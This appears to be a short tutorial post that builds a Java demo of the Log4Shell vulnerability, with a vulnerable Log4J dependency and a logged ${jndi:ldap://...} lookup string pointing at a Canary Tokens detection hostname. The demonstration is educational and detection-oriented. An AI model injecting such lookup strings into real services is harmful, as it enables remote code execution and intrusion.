A Java Application to demonstrate Log4Shell

I put together this simple application to demonstrate the Log4Shell vulnerability to my colleagues.

To exploit the vulnerability, we need an exploit string and a Java Main class that logs that string using Log4J.

First, we need to set up the application. The easiest way is through Maven to set up the Log4J dependency. I’m using the most recent vulnerable version in the following pom.xml:

<project xmlns="http://maven.apache.org/POM/4.0.0" 
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
     xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<groupId>com.jadaptive</groupId>
	<artifactId>log4j-example</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<dependencies>
		<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
		<dependency>
			<groupId>org.apache.logging.log4j</groupId>
			<artifactId>log4j-core</artifactId>
			<version>2.14.0</version>
		</dependency>
	</dependencies>
</project>

Next, we need a main class that Java can execute. The simplest execution possible is a one-liner that logs the exploit string using Log4J.

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {

	static Logger log = LogManager.getLogger(Main.class);
	
	public static void main(String[] args) {
	    log.info("${jndi:ldap://xxxxxxxxxxxxbdfqexgxz5.canarytokens.com}");
	}
}

Finally, before we run the class, Log4J needs some configuration. Copy and paste the following XML into the src/main/resources folder of the Maven project into a file called log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
  <Appenders>
    <Console name="Console" target="SYSTEM_OUT">
      <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
    </Console>
  </Appenders>
  <Loggers>
    <Root level="debug">
      <AppenderRef ref="Console\" />
    </Root>
  </Loggers>
</Configuration>

We are now ready to create an exploit string and execute the test.

The simplest way to get an exploit string is to sign up for a free service such as Canary Tokens at https://canarytokens.org/generate. Here, we can generate a URL for use in our simple application. The URL is unique to you, so if you pass this into an application and it triggers the URL, you will know your application is vulnerable. I particularly like this service because it will email you when the token is exposed.

Sign up for your Canary Token to test your application using the DNS token option. You will receive a token like this below:

xxxxxxxxxxxxbdfqexgxz5.canarytokens.com

The token is a hostname, which we will use in a specific Log4Shell exploit string. To test your application, place the value provided into the following exploit string:

${jndi:ldap://xxxxxxxxxxxxbdfqexgxz5.canarytokens.com}

You can now demonstrate the exploit by pasting that string into the logging code in the Java main class.

log.info("${jndi:ldap://xxxxxxxxxxxxbdfqexgxz5.canarytokens.com}");

Run the code, and you should receive an email as the logging library looks up that hostname. This demonstration is not particularly nefarious, but the same exploit can download and execute Java code. Just think about what you can do with that.